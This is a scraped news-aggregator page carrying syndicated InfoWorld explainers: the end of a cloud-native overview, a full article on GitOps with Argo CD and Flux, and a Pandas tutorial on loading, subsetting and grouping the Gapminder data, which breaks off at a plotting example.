<p class="wp-block-paragraph">Cloud-native infrastructure’s capability to quickly scale up to large workloads also make it an attractive platform for developing AI/ML applications: another one of those CNCF case studies looks at how IBM uses Kubernetes to <a href="https://www.cncf.io/case-studies/ibmwatsonxassistant/">train its Watsonx assistant</a>. The big three providers are putting a lot of effort into pitching their platforms as the place for you to develop your own generative AI tools, with offerings like <a href="https://www.infoworld.com/article/3608598/microsoft-rebrands-azure-ai-studio-to-azure-ai-foundry.html">Azure AI Foundry,</a><a href="https://www.infoworld.com/article/3959648/google-unveils-firebase-studio-for-ai-app-development.html">Google Firebase Studio</a>, and <a href="https://www.infoworld.com/article/2336139/amazon-bedrock-a-solid-generative-ai-foundation.html">Amazon Bedrock</a>. It seems clear that cloud native technology is ready for what comes next.</p>



<h2 class="wp-block-heading">Learn more about related cloud-native technologies:</h2>



<ul class="wp-block-list">
<li><a href="https://www.infoworld.com/article/2256066/what-is-paas-platform-as-a-service-a-simpler-way-to-build-software-applications.html">Platform-as-a-service (PaaS) explained</a></li>



<li><a href="https://www.infoworld.com/article/2238873/what-is-cloud-computing.html">What is cloud computing</a></li>



<li><a href="https://www.infoworld.com/article/2256706/what-is-multicloud-the-next-step-in-cloud-computing.html">Multicloud explained</a></li>



<li><a href="https://www.infoworld.com/article/2259475/what-is-agile-methodology-modern-software-development-explained.html">Agile methodology explained</a></li>



<li><a href="https://www.infoworld.com/article/2259487/how-to-excel-in-agile-software-development.html">Agile development best practices</a></li>



<li><a href="https://www.infoworld.com/article/2255028/what-is-devops-transforming-software-development.html">Devops explained</a></li>



<li><a href="https://www.infoworld.com/article/2266905/devops-best-practices-the-5-methods-you-should-adopt.html">Devops best practices</a></li>



<li><a href="https://www.infoworld.com/article/2263327/what-are-microservices-your-next-software-architecture.html">Microservices explained</a></li>



<li><a href="https://www.infoworld.com/article/2253197/tutorial-how-to-build-microservices-apps.html">Microservices tutorial</a></li>



<li><a href="https://www.infoworld.com/article/2253801/what-is-docker-the-spark-for-the-container-revolution.html">Docker and Linux containers explained</a></li>



<li><a href="https://www.infoworld.com/article/2254159/how-to-get-started-with-kubernetes-2.html">Kubernetes tutorial</a></li>



<li><a href="https://www.infoworld.com/article/2269266/what-is-cicd-continuous-integration-and-continuous-delivery-explained.html">CI/CD (continuous integration and continuous delivery) explained</a></li>



<li><a href="https://www.infoworld.com/article/2268012/get-started-with-cicd-automating-application-delivery-with-cicd-pipelines.html">CI/CD best practices</a></li>
</ul>
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<title><![CDATA[What is GitOps? Extending devops to Kubernetes and beyond]]></title>
<description><![CDATA[Over the past decade, software development has been shaped by two closely related transformations. One is the rise of devops and continuous integration and continuous delivery (CI/CD), which brought development and operations teams together around automated, incremental software delivery.



The ...]]></description>
<link>https://tsecurity.de/de/3665667/ai-nachrichten/what-is-gitops-extending-devops-to-kubernetes-and-beyond/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3665667/ai-nachrichten/what-is-gitops-extending-devops-to-kubernetes-and-beyond/</guid>
<pubDate>Mon, 13 Jul 2026 17:04:29 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
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<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">Over the past decade, software development has been shaped by two closely related transformations. One is the rise of <a href="https://www.infoworld.com/article/2255028/what-is-devops-bringing-dev-and-ops-together-for-better-software.html">devops</a> and <a href="https://www.infoworld.com/article/2269266/what-is-cicd-continuous-integration-and-continuous-delivery-explained.html">continuous integration and continuous delivery</a> (CI/CD), which brought development and operations teams together around automated, incremental software delivery.</p>



<p class="wp-block-paragraph">The other is the shift from monolithic applications to distributed, cloud-native systems built from microservices and containers, typically managed by orchestration platforms such as <a href="https://www.infoworld.com/article/2266945/what-is-kubernetes-scalable-cloud-native-applications.html">Kubernetes</a>.</p>



<p class="wp-block-paragraph">While Kubernetes and similar platforms simplify many aspects of running distributed applications, operating these systems at scale is still complicated. Configuration sprawl, environment drift, and the need for rapid, reliable change all introduce operational challenges. GitOps emerged as a way to address those challenges by extending familiar devops and CI/CD techniques beyond application code and into infrastructure and system configuration.</p>



<p class="wp-block-paragraph">At the heart of GitOps is the concept of <a href="https://www.infoworld.com/article/2259359/what-is-infrastructure-as-code-automating-your-infrastructure-builds.html">infrastructure as code</a> (IaC). In a GitOps model, not only application code but also infrastructure definitions, deployment configurations, and operational settings are described in files stored in a version control system. Automated processes continuously compare the running system with those declarations and work to bring the live environment back into alignment when differences appear.</p>



<p class="wp-block-paragraph">In this approach, the version control repository serves as the system of record for how applications and their supporting infrastructure should look in production. Changes flow through the same review, approval, and automation pipelines that developers already use for software, bringing greater consistency, traceability, and repeatability to cloud-native operations.</p>



<p class="wp-block-paragraph">At a high level, GitOps refers to a set of operational practices for managing cloud-native systems using declarative configuration, version control, and automated reconciliation. Rather than treating infrastructure and application configuration as mutable runtime state, GitOps treats them as versioned artifacts that move through the same review, testing, and deployment processes as application code.</p>



<h2 class="wp-block-heading"><strong>GitOps defined</strong></h2>



<p class="wp-block-paragraph">The term GitOps was originally coined and popularized by Weaveworks, which helped formalize the approach in the context of Kubernetes operations. While that early work shaped the way GitOps was discussed and implemented, GitOps has since evolved into a broadly adopted, vendor-neutral pattern. Today, it describes a shared set of ideas rather than a specific product or platform.</p>



<p class="wp-block-paragraph">The defining characteristic of GitOps is its reliance on declarative configuration stored in a version control system. Instead of issuing imperative commands to change live systems, teams describe the desired state of applications and infrastructure in configuration files. Automated agents then continuously compare that declared state with what is actually running and work to reconcile any differences. This pull-based model—where systems converge toward the desired state defined in version control—provides built-in drift detection, repeatability, and a clear audit trail for every change.</p>



<p class="wp-block-paragraph">Because GitOps centers on configuration files stored in a version control system, familiar software development practices carry over naturally. Changes are proposed through commits, reviewed before being accepted, and tracked over time. Rollbacks are accomplished by reverting to known-good versions, and the history of how a system evolved is preserved alongside the configuration itself.</p>



<p class="wp-block-paragraph">While the use of <a href="https://www.infoworld.com/article/2334697/what-is-git-version-control-for-collaborative-programming.html">Git</a> as the version control system is not strictly required, it has become the default choice because of its ubiquity in modern devops workflows and its strong support for collaboration and change management, so its place in the name has stuck.</p>



<aside class="sidebar">
<h3><strong> GitOps vs. IaC </strong></h3>
<p>Infrastructure as code (IaC) and GitOps are closely related, but they solve different problems. </p>
<p>IaC focuses on how infrastructure is defined. Servers, networks, and services are described using declarative configuration files, which are then applied by automation tools. GitOps builds on IaC by adding an operating model around those definitions. In a GitOps workflow, the desired state of systems is stored in a version control repository and treated as the system of record. Automated agents continuously compare the running environment with that desired state and reconcile any differences.</p>
<p>The key distinction is persistence. IaC provisions infrastructure; GitOps keeps systems in the intended state over time. By using pull-based reconciliation and continuous drift detection, GitOps extends IaC into a day-to-day operational discipline.
</p>

</aside>



<h2 class="wp-block-heading"><strong>What is the CI/CD process?</strong></h2>



<p class="wp-block-paragraph">A complete look at CI/CD is beyond the scope of this article—<a href="https://www.infoworld.com/article/2269266/what-is-cicd-continuous-integration-and-continuous-delivery-explained.html">see the InfoWorld explainer on the subject</a>—but we need to say a few words about CI/CD because it’s at the core of how GitOps works. The <em>continuous integration</em> half of CI/CD is enabled by version control repositories like Git: Developers can make constant small improvements to their codebase, rather than rolling out huge, monolithic new versions every few months or years. The <em>continuous deployment</em> piece is made possible by automated systems called <em>pipelines</em> that build, test, and deploy the new code to production.</p>



<p class="wp-block-paragraph">Again, we keep talking about <em>code </em>here, and that usually summons up visions of executable code written in a programming language such as C or Java or JavaScript. But in GitOps, the “code” we’re managing is largely made up of configuration files. This isn’t just a minor detail — it’s at the heart of what GitOps does. These config files are, as we’ve said, the “single source of truth” describing what our system should look like. They are <em>declarative </em>rather than instructive. That means that instead of saying “start up ten servers,” the configuration file will simply say, “this system includes ten servers.”</p>



<p class="wp-block-paragraph"><strong>GitOps and Kubernetes</strong></p>



<p class="wp-block-paragraph">GitOps first took hold in the Kubernetes ecosystem, where declarative configuration and continuous reconciliation are core design principles. As a result, Kubernetes remains the most common and best-understood environment for applying GitOps practices. A typical GitOps-driven update process for a Kubernetes application looks like this:</p>



<ol start="1" class="wp-block-list">
<li>A developer proposes a change by committing updated application code or configuration to a version control repository, usually through a pull request.</li>



<li>That change is reviewed and approved, then merged into the main branch.</li>



<li>The merge triggers an automated CI/CD pipeline that tests the change, builds new artifacts if needed, and publishes them to a registry.</li>



<li>A GitOps controller or similar automated agent detects the updated desired state stored in version control.</li>



<li>The controller compares that desired state with the current state of the Kubernetes cluster and applies the necessary changes to bring the cluster back into alignment.</li>
</ol>



<p class="wp-block-paragraph">This pull-based reconciliation loop—where the cluster continuously converges toward the desired state defined in version control—is central to how GitOps works in practice. While Kubernetes provides a natural fit for this model, it represents just one canonical use case. The same patterns increasingly apply to infrastructure provisioning, policy enforcement, and multi-cluster operations beyond Kubernetes itself.</p>



<h2 class="wp-block-heading"><strong>GitOps tooling in practice: Argo CD, Flux, and the ecosystem</strong></h2>



<p class="wp-block-paragraph">GitOps is enabled by a set of tools that embody the principles we’ve outlined, with some open-source projects emerging as de facto standards in cloud-native environments.</p>



<p class="wp-block-paragraph">At the center of the GitOps ecosystem is Argo CD, an open-source controller that continuously monitors a version control repository and ensures that the state of running systems matches the declared desired state. Argo CD is widely used in Kubernetes environments because it directly implements pull-based reconciliation: it compares the desired state stored in Git with the cluster’s actual state and applies changes to correct any drift.</p>



<p class="wp-block-paragraph">Alongside Argo CD, Flux is another prominent open source GitOps engine. Both Flux and Argo CD help teams adopt GitOps workflows by managing the synchronization loop between code and runtime, but they differ in operational philosophy, integration surfaces, and ecosystem fit.</p>



<p class="wp-block-paragraph">GitOps tooling often appears as part of broader platforms or integrated stacks rather than as isolated utilities. For example, <a href="https://www.infoworld.com/article/4006297/top-6-multicloud-management-systems.html">multicloud and cluster management solutions</a> now routinely include GitOps support, with Argo CD or compatible controllers bundled alongside deployment, policy, and governance capabilities.</p>



<p class="wp-block-paragraph">In addition to Flux and Argo CD, a range of auxiliary tools contribute to a complete GitOps ecosystem: policy as code engines (e.g., Open Policy Agent), drift detection systems, and infrastructure provisioning tools that mesh with Git-centric workflows.</p>



<h2 class="wp-block-heading"><strong>GitOps, devops, and normalization</strong></h2>



<p class="wp-block-paragraph">GitOps grew out of the same forces that drove devops into mainstream IT practice, and in its early days, GitOps was often discussed as a distinct extension of devops, specifically tailored to managing declarative infrastructure and Kubernetes-centric systems. At the time, GitOps was still relatively new and <a href="http://infoworld.com/article/2265546/why-gitops-isnt-ready-for-the-mainstream-yet.html">not yet widely adopted outside cloud-native pioneers</a>.</p>



<p class="wp-block-paragraph">Over the last several years, however, GitOps practices have become deeply woven into how teams operate modern cloud environments. Rather than being treated as an optional add-on or marketing term, the core ideas of GitOps — using version-controlled, declarative configuration and automated reconciliation loops to continuously align running systems with intended state — are now part of standard operational practice in many Kubernetes-centric shops. In this sense, GitOps has shifted from a buzzword about what might be possible to a baseline pattern for cloud-native operations, much like devops itself did years earlier.</p>



<p class="wp-block-paragraph">In environments where Kubernetes and declarative systems are the norm, GitOps workflows are the default way teams manage and deploy change. Many organizations now implement these patterns without explicitly calling them “GitOps,” just as few teams today explicitly say they do “CI/CD” even though continuous pipelines are taken for granted. The term has become less prominent in marketing, but its practices are often embedded in pipelines, controllers, and platform tooling.</p>



<p class="wp-block-paragraph">That normalization shows up in how GitOps workflows are woven into broader operational frameworks. For example, <a href="https://www.infoworld.com/article/2338225/what-is-platform-engineering-evolving-devops.html">platform engineering</a> teams frequently build internal developer platforms that encapsulate GitOps patterns behind standardized developer APIs, making the pattern invisible to most application teams while still providing the auditability and automation that GitOps promises.</p>



<h2 class="wp-block-heading"><strong>GitOps beyond Kubernetes: infrastructure, policy, and drift</strong></h2>



<p class="wp-block-paragraph">While GitOps first gained traction as a way to manage Kubernetes deployments, its core principles apply broadly to infrastructure and operational concerns beyond any single orchestration platform. GitOps treats desired state as declarative configuration stored in version control and uses automated reconciliation to ensure running systems align with that state. That pattern naturally extends to infrastructure provisioning, policy enforcement, configuration drift detection, and governance workflows across diverse environments.</p>



<p class="wp-block-paragraph">In modern operational stacks, infrastructure is increasingly defined declaratively, whether through Kubernetes manifests, Terraform modules, or other infrastructure-as-code formats. Storing these declarations in version control enables the same peer-review, auditability, and rollback practices developers already use for application code. Automated tooling then continuously detects when the live infrastructure diverges from the declared state and works to bring it back into alignment, reducing the risk of configuration drift and inadvertent misconfigurations.</p>



<p class="wp-block-paragraph">Configuration drift — the state where an environment has diverged from what’s declared in version control — remains a major operational headache, especially in complex, dynamic systems. Drift can arise from ad hoc fixes, emergency updates, or manual changes made outside normal pipelines, and it can lead to inconsistencies, outages, and security gaps. By continually checking running systems against the desired state in Git and reconciling deviations automatically, GitOps workflows help teams keep environments predictable and auditable.</p>



<p class="wp-block-paragraph">Policy enforcement and compliance are another natural extension of GitOps patterns. As organizations adopt declarative practices, policy-as-code engines and drift detection systems can be woven into GitOps pipelines to validate that proposed configurations meet security, compliance, or operational standards before they’re ever applied to running systems. Embedding policy checks into declarative workflows brings consistency to governance while preserving the automation and speed that devops teams expect.</p>



<h2 class="wp-block-heading"><strong>GitOps – beyond Kubernetes</strong></h2>



<p class="wp-block-paragraph">GitOps began as a way to bring devops discipline to Kubernetes operations, but its longer-term impact has been more subtle. In many ways, it’s been absorbed into the fabric of modern cloud-native operations, where declarative configuration, version control, and automated reconciliation are taken for granted. Today, GitOps is less about a specific set of tools or a named practice and more about an operational mindset. By treating infrastructure and configuration as versioned, auditable artifacts and relying on automation to enforce consistency, GitOps helps teams manage complexity at scale. Even as the term itself fades from the spotlight, the practices it introduced continue to shape how distributed systems are built, deployed, and operated.</p>
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<title><![CDATA[How to use Pandas for data analysis in Python]]></title>
<description><![CDATA[When it comes to working with data in a tabular form, most people reach for a spreadsheet. That’s not a bad choice: Microsoft Excel and similar programs are familiar and loaded with functionality for massaging tables of data. But what if you want more control, precision, and power than Excel alon...]]></description>
<link>https://tsecurity.de/de/3665666/ai-nachrichten/how-to-use-pandas-for-data-analysis-in-python/</link>
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<pubDate>Mon, 13 Jul 2026 17:04:28 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
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<p class="wp-block-paragraph">When it comes to working with data in a tabular form, most people reach for a spreadsheet. That’s not a bad choice: Microsoft Excel and similar programs are familiar and loaded with functionality for massaging tables of data. But what if you want more control, precision, and power than Excel alone delivers?</p>



<p class="wp-block-paragraph">In that case, the open source Pandas library for <a href="https://www.infoworld.com/article/2253770/what-is-python-powerful-intuitive-programming.html" data-type="link" data-id="https://www.infoworld.com/article/2253770/what-is-python-powerful-intuitive-programming.html">Python</a> might be what you are looking for. <a href="https://pandas.pydata.org/">Pandas</a> augments Python with new data types for loading data fast from tabular sources, and for manipulating, aligning, merging, and doing other processing at scale.</p>



<h2 class="wp-block-heading">Your first Pandas data set</h2>



<p class="wp-block-paragraph">Pandas is not part of the Python standard library. It’s a third-party project, so you’ll need to install it in your Python runtime with <code>pip install pandas</code>. Once installed, you can import it into Python with <code>import pandas</code>.</p>



<p class="wp-block-paragraph">Pandas gives you two new data types: <code>Series</code> and <code>DataFrame</code>. The <code>DataFrame</code> represents your entire spreadsheet or rectangular data, whereas the <code>Series</code> is a single column of the <code>DataFrame</code>. In Python terms, you can think of the Pandas <code>DataFrame</code> as a dictionary or collection of <code>Series</code> objects. You’ll also find later that you can use dictionary- and list-like methods for finding elements in a <code>DataFrame</code>.</p>



<p class="wp-block-paragraph">You typically work with Pandas by importing data from some other format. A common external tabular data format is CSV, a text file with values separated by commas. If you have a CSV handy, you can use it. For this article, we’ll be using <a href="https://www.github.com/jennybc/gapminder">an excerpt from the Gapminder data set</a> prepared by Jennifer Bryan from the University of British Columbia.</p>



<p class="wp-block-paragraph">To begin using Pandas, we first import the library. Note that it’s a common practice to alias the Pandas library as <code>pd</code> to save some typing:</p>



<pre class="wp-block-code"><code>import pandas as pd</code></pre>



<p class="wp-block-paragraph">To start working with the sample data in CSV format, we can load it in as a dataframe using the <code>pd.read_csv</code> function:</p>



<pre class="wp-block-code"><code>df = pd.read_csv("./gapminder/inst/extdata/gapminder.tsv", sep='t')</code></pre>



<p class="wp-block-paragraph">The <code>sep</code> parameter lets us specify that the file is <em>tab-delimited</em> rather than comma-delimited.</p>



<p class="wp-block-paragraph">Once you’ve loaded the data, you can use the <code>.head()</code> method on the dataframe to peek at its formatting and ensure it’s loaded correctly. <code>.head()</code> is a convenience method used to display the first few rows of a dataframe for quick inspection. The results for the Gapminder data should look like this:</p>



<pre class="wp-block-code"><code>print(df.head())
       country continent  year  lifeExp       pop   gdpPercap
0  Afghanistan      Asia  1952   28.801   8425333  779.445314
1  Afghanistan      Asia  1957   30.332   9240934  820.853030
2  Afghanistan      Asia  1962   31.997  10267083  853.100710
3  Afghanistan      Asia  1967   34.020  11537966  836.197138
4  Afghanistan      Asia  1972   36.088  13079460  739.981106</code></pre>



<p class="wp-block-paragraph">Dataframe objects have a <code>shape</code> attribute that reports the number of rows and columns in the dataframe:</p>



<pre class="wp-block-code"><code>print(df.shape)
(1704, 6) # rows, cols</code></pre>



<p class="wp-block-paragraph">To list the names of the columns themselves, use <code>.columns</code>:</p>



<pre class="wp-block-code"><code>print(df.columns)
Index(['country', 'continent', 'year', 'lifeExp',
'pop', 'gdpPercap'], dtype='object')</code></pre>



<p class="wp-block-paragraph">Dataframes in Pandas work much the same way as they do in other languages, such as <a href="https://www.infoworld.com/article/2260353/julia-vs-python-which-is-best-for-data-science.html">Julia</a> and <a href="https://www.infoworld.com/article/2258003/r-tutorial-learn-to-crunch-big-data-with-r.html">R</a>. Each column, or <code>Series</code>, must be the same type, whereas each row can contain mixed types. For instance, in the current example, the <code>country</code> column will always be a string, and the <code>year</code> column is always an integer. We can verify this by using <code>.dtypes</code> to list the data type of each column:</p>



<pre class="wp-block-code"><code>print(df.dtypes)
country object
continent object
year int64
lifeExp float64
pop int64
gdpPercap float64
dtype: object</code></pre>



<p class="wp-block-paragraph">For an even more explicit breakdown of your dataframe’s types, you can use <code>.info()</code>:</p>



<pre class="wp-block-code"><code>df.info() # information is written to console, so no print required

RangeIndex: 1704 entries, 0 to 1703
Data columns (total 6 columns):
 #   Column     Non-Null Count  Dtype
---  ------     --------------  -----
 0   country    1704 non-null   object
 1   continent  1704 non-null   object
 2   year       1704 non-null   int64
 3   lifeExp    1704 non-null   float64
 4   pop        1704 non-null   int64
 5   gdpPercap  1704 non-null   float64
dtypes: float64(2), int64(2), object(2)
memory usage: 80.0+ KB</code></pre>



<p class="wp-block-paragraph">Each Pandas data type maps to a native Python data type:</p>



<ul class="wp-block-list">
<li><code>object</code> is handled as a Python <code>str</code> type. (More on this below.)</li>



<li><code>int64</code> is handled as a Python <code>int</code>. Note that not all Python <code>int</code>s can be converted to <code>int64</code> types; anything larger than (2 ** 63)-1 will not convert to <code>int64</code>.</li>



<li><code>float64</code> is handled as a Python <code>float</code> (which is a 64-bit <code>float</code> natively).</li>



<li><code>datetime64</code> is handled as a Python <code>datetime.datetime</code> object. Note that Pandas does not automatically try to convert something that looks like a date into date values; <a href="https://pandas.pydata.org/pandas-docs/stable/reference/api/pandas.to_datetime.html" rel="nofollow">you must tell Pandas you want the conversion done for a specific column</a>.</li>
</ul>



<p class="wp-block-paragraph">Any data that’s not a native Pandas type—essentially, anything that’s not a number—is stored as a generic <a href="https://www.infoworld.com/article/2336120/what-is-numpy-faster-array-and-matrix-math-in-python.html">NumPy</a> type named object. If you have an <code>object</code> column in a dataframe, it’s worth making sure that data is not being used as part of any computational work, as you’ll get none of the performance benefits of using a numerical type (<code>int64</code>, <code>float64</code>, etc.).</p>



<p class="wp-block-paragraph">Traditionally, strings have been represented as an object. As of Pandas 2.3 or higher, there’s an option to use a new dedicated <code>str</code> type, which has better Panda-native behaviors (such as a more explicit type for the data and more efficient storage). To enable this behavior, you’d use the command <code>pd.options.future.infer_string = True</code> at the top of your code.</p>



<aside class="sidebar">
<p><strong>Note</strong>: The <a href="https://pandas.pydata.org/community/blog/pandas-3.0-release-candidate.html">Pandas 3.0</a> release will make the new <code>str</code> type the default for strings. See the <a href="https://pandas.pydata.org/docs/dev/user_guide/migration-3-strings.html">Pandas documentation</a> for details about how to migrate to the new string type.</p>
</aside>




<h2 class="wp-block-heading">Pandas columns, rows, and cells</h2>



<p class="wp-block-paragraph">Now that you’re able to load a simple data file, you want to be able to inspect its contents. You could print the contents of the dataframe, but most dataframes are too big to inspect by printing.</p>



<p class="wp-block-paragraph">A better approach is to look at subsets of the data, as we did with <code>df.head()</code>, but with more control. Pandas lets you use Python’s existing syntax for indexing and creating slices to make excerpts from dataframes.</p>



<h3 class="wp-block-heading">Extracting Pandas columns</h3>



<p class="wp-block-paragraph">To examine columns in a Pandas dataframe, you can extract them by their names, positions, or by ranges. For instance, if you want a specific column from your data, you can request it by name using square brackets:</p>



<pre class="wp-block-code"><code># extract the column "country" into its own dataframe
country_df = df["country"]

# show the first five rows
print(country_df.head())
| 0 Afghanistan
| 1 Afghanistan
| 2 Afghanistan
| 3 Afghanistan
| 4 Afghanistan
Name: country, dtype: object

# show the last five rows
print(country_df.tail())
| 1699  Zimbabwe
| 1700  Zimbabwe
| 1701  Zimbabwe
| 1702  Zimbabwe
| 1703  Zimbabwe
| Name: country, dtype: object</code></pre>



<p class="wp-block-paragraph">If you want to extract multiple columns, pass a list of the column names:</p>



<pre class="wp-block-code"><code># Looking at country, continent, and year
subset = df[['country', 'continent', 'year']]

print(subset.head())
       country continent  year
| 0  Afghanistan    Asia  1952
| 1  Afghanistan    Asia  1957
| 2  Afghanistan    Asia  1962
| 3  Afghanistan    Asia  1967
| 4  Afghanistan    Asia  1972

print(subset.tail())
         country continent    year
| 1699  Zimbabwe    Africa    1987
| 1700  Zimbabwe    Africa    1992
| 1701  Zimbabwe    Africa    1997
| 1702  Zimbabwe    Africa    2002
| 1703  Zimbabwe    Africa    2007</code></pre>



<h3 class="wp-block-heading">Subsetting rows</h3>



<p class="wp-block-paragraph">If you want to extract rows from a dataframe, you can use one of two methods.</p>



<p class="wp-block-paragraph"><code>.iloc[]</code> is the simplest method. It extracts rows based on their position, starting at 0. For fetching the first row in the above dataframe example, you’d use <code>df.iloc[0]</code>.</p>



<p class="wp-block-paragraph">If you want to fetch a range of rows, you can use <code>.iloc[] </code>with Python’s slicing syntax. For instance, for the first 10 rows, you’d use <code>df.iloc[0:10]</code>. And if you wanted to obtain the last 10 rows in reverse order, you’d use <code>df.iloc[::-1]</code>.</p>



<p class="wp-block-paragraph">If you want to extract specific rows, you can use a list of the row IDs; for example, <code>df.iloc[[0,1,2,5,7,10,12]]</code>. (Note the double brackets—that means you’re providing a list as the first argument.)</p>



<p class="wp-block-paragraph">Another way to extract rows is with <code>.loc[]</code>. This extracts a subset based on <em>labels</em> for rows. By default, rows are labeled with an incrementing integer value starting with 0. But data can also be labeled manually by <a href="https://pandas.pydata.org/pandas-docs/stable/reference/api/pandas.DataFrame.index.html#pandas.DataFrame.index">setting the dataframe’s .index property</a>.</p>



<p class="wp-block-paragraph">For instance, if we wanted to re-index the above dataframe so that each row had an index using multiples of 100, we could use <code>df.index = range(0, len(df)*100, 100)</code>. Then, if we used, <code>df.loc[100]</code>, we’d get the second row.</p>



<h3 class="wp-block-heading">Subsetting columns</h3>



<p class="wp-block-paragraph">If you want to retrieve only a certain subset of columns along with your row slices, you do this by passing a list of columns as a second argument:</p>



<pre class="wp-block-code"><code>df.loc[[rows], [columns]]</code></pre>



<p class="wp-block-paragraph">For instance, with the above dataset, if we want to get only the country and year columns for all rows, we’d do this:</p>



<pre class="wp-block-code"><code>df.loc[:, ["country","year"]]</code></pre>



<p class="wp-block-paragraph">The <code>:</code> in the first position means “all rows” (it’s Python’s slicing syntax). The list of columns follows after the comma.</p>



<p class="wp-block-paragraph">You can also specify columns by position when using <code>.iloc</code>:</p>



<pre class="wp-block-code"><code>df.iloc[:, [0,2]]</code></pre>



<p class="wp-block-paragraph">Or, to get just the first three columns:</p>



<pre class="wp-block-code"><code>df.iloc[:, 0:3]</code></pre>



<p class="wp-block-paragraph">All of these approaches can be combined, as long as you remember <code>loc</code> is used for labels and column names, and <code>iloc</code> is used for numeric indexes. The following tells Pandas to extract the first 100 rows by their numeric labels, and then from <em>that</em> to extract the first three columns by their indexes:</p>



<pre class="wp-block-code"><code>df.loc[0:100].iloc[:, 0:3]</code></pre>



<p class="wp-block-paragraph">It’s generally least confusing to use actual column names when subsetting data. It makes the code easier to read, and you don’t have to refer back to the dataset to figure out which column corresponds to what index. It also protects you from mistakes if columns are re-ordered.</p>



<h2 class="wp-block-heading">Grouped and aggregated calculations</h2>



<p class="wp-block-paragraph">Spreadsheets and number-crunching libraries all come with methods for generating statistics about data. Consider the Gapminder data again:</p>



<pre class="wp-block-code"><code>
print(df.head(n=10))
|    country      continent  year  lifeExp  pop       gdpPercap
| 0  Afghanistan  Asia       1952  28.801    8425333  779.445314
| 1  Afghanistan  Asia       1957  30.332    9240934  820.853030
| 2  Afghanistan  Asia       1962  31.997   10267083  853.100710
| 3  Afghanistan  Asia       1967  34.020   11537966  836.197138
| 4  Afghanistan  Asia       1972  36.088   13079460  739.981106
| 5  Afghanistan  Asia       1977  38.438   14880372  786.113360
| 6  Afghanistan  Asia       1982  39.854   12881816  978.011439
| 7  Afghanistan  Asia       1987  40.822   13867957  852.395945
| 8  Afghanistan  Asia       1992  41.674   16317921  649.341395
| 9  Afghanistan  Asia       1997  41.763   22227415  635.341351
</code></pre>



<p class="wp-block-paragraph">Here are some examples of questions we could ask about this data:</p>



<ol class="wp-block-list">
<li>What’s the average life expectancy for each year in this data?</li>



<li>What if I want averages across the years and the continents?</li>



<li>How do I count how many countries in this data are in each continent?</li>
</ol>



<p class="wp-block-paragraph">The way to answer these questions with Pandas is to perform a <em>grouped</em> or <em>aggregated</em> calculation. We can split the data along certain lines, apply some calculation to each split segment, and then re-combine the results into a new dataframe.</p>



<h3 class="wp-block-heading">Grouped means counts</h3>



<p class="wp-block-paragraph">The first method we’d use for this is Pandas’s <code>df.groupby()</code> operation. We provide a column we want to split the data by:</p>



<pre class="wp-block-code"><code>df.groupby("year")</code></pre>



<p class="wp-block-paragraph">This allows us to treat all rows with the same <code>year</code> value together, as a distinct object from the dataframe itself.</p>



<p class="wp-block-paragraph">From there, we can use the “life expectancy” column and calculate its per-year mean:</p>



<pre class="wp-block-code"><code>
print(df.groupby('year')['lifeExp'].mean())
year
1952 49.057620
1957 51.507401
1962 53.609249
1967 55.678290
1972 57.647386
1977 59.570157
1982 61.533197
1987 63.212613
1992 64.160338
1997 65.014676
2002 65.694923
2007 67.007423
</code></pre>



<p class="wp-block-paragraph">This gives us the mean life expectancy for all populations, by year. We could perform the same kinds of calculations for population and GDP by year:</p>



<pre class="wp-block-code"><code>
print(df.groupby('year')['pop'].mean())
print(df.groupby('year')['gdpPercap'].mean())
</code></pre>



<p class="wp-block-paragraph">So far, so good. But what if we want to group our data by more than one column? We can do this by passing columns in lists:</p>



<pre class="wp-block-code"><code>
print(df.groupby(['year', 'continent'])
  [['lifeExp', 'gdpPercap']].mean())
                  lifeExp     gdpPercap
year continent
1952 Africa     39.135500   1252.572466
     Americas   53.279840   4079.062552
     Asia       46.314394   5195.484004
     Europe     64.408500   5661.057435
     Oceania    69.255000  10298.085650
1957 Africa     41.266346   1385.236062
     Americas   55.960280   4616.043733
     Asia       49.318544   5787.732940
     Europe     66.703067   6963.012816
     Oceania    70.295000  11598.522455
1962 Africa     43.319442   1598.078825
     Americas   58.398760   4901.541870
     Asia       51.563223   5729.369625
     Europe     68.539233   8365.486814
     Oceania    71.085000  12696.452430
</code></pre>



<p class="wp-block-paragraph">This <code>.groupby()</code> operation takes our data and groups it first by year, and then by continent. Then, it generates mean values from the life-expectancy and GDP columns. This way, you can create groups in your data and rank how they are to be presented and calculated.</p>



<p class="wp-block-paragraph">If you want to “flatten” the results into a single, incrementally indexed frame, you can use the <code>.reset_index()</code> method on the results:</p>



<pre class="wp-block-code"><code>
gb = df.groupby(['year', 'continent'])
[['lifeExp', 'gdpPercap']].mean()
flat = gb.reset_index() 
print(flat.head())
|     year  continent  lifeExp    gdpPercap
| 0   1952  Africa     39.135500   1252.572466
| 1   1952  Americas   53.279840   4079.062552
| 2   1952  Asia       46.314394   5195.484004
| 3   1952  Europe     64.408500   5661.057435
| 4   1952  Oceana     69.255000  10298.085650
</code></pre>



<h3 class="wp-block-heading">Grouped frequency counts</h3>



<p class="wp-block-paragraph">Something else we often do with data is compute <em>frequencies</em>. The <code>nunique</code> and <code>value_counts</code> methods can be used to get unique values in a series, and their frequencies. For instance, here’s how to find out how many countries we have in each continent:</p>



<pre class="wp-block-code"><code>
print(df.groupby('continent')['country'].nunique()) 
continent
Africa    52
Americas  25
Asia      33
Europe    30
Oceana     2
</code></pre>



<h2 class="wp-block-heading">Basic plotting with Pandas and Matplotlib</h2>



<p class="wp-block-paragraph">Most of the time, when you want to visualize data, you’ll use another library such as Matplotlib to generate those graphics. However, you can use Matplotlib directly (along with some other plotting libraries) to generate visualizations from within Pandas.</p>



<p class="wp-block-paragraph">To use the simple Matplotlib extension for Pandas, first make sure you’ve installed Matplotlib with <code>pip install matplotlib</code>.</p>



<p class="wp-block-paragraph">Now let’s look at the yearly life expectancies for the world population again:</p>



<pre class="wp-block-code"><code>
global_yearly_life_expectancy = df.groupby('year')['lifeExp'].mean() 
print(global_yearly_life_expectancy) 
| year
| 1952  49.057620
| 1957  51.507401
| 1962  53.609249
| 1967  55.678290
| 1972  57.647386
| 1977  59.570157
| 1982  61.533197
| 1987  63.212613
| 1992  64.160338
| 1997  65.014676
| 2002  65.694923
| 2007  67.007423
| Name: lifeExp, dtype: float64
</code></pre>



